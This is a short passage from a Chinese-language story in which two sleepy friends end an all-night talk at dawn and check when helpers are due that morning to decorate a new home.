直到天色有点蒙蒙亮，她俩才止住话头。孟翡睡意朦胧地问出最后一个问题：“何何，来帮忙布置新房的小伙伴们什么时候到来着？” 安莉何也迷迷瞪瞪的，但是她还是摸出手机确定了一下时间。 “今天上午九点半，李彭请了他同事帮忙，还能睡一会儿，谢天谢天，快睡吧小翡……”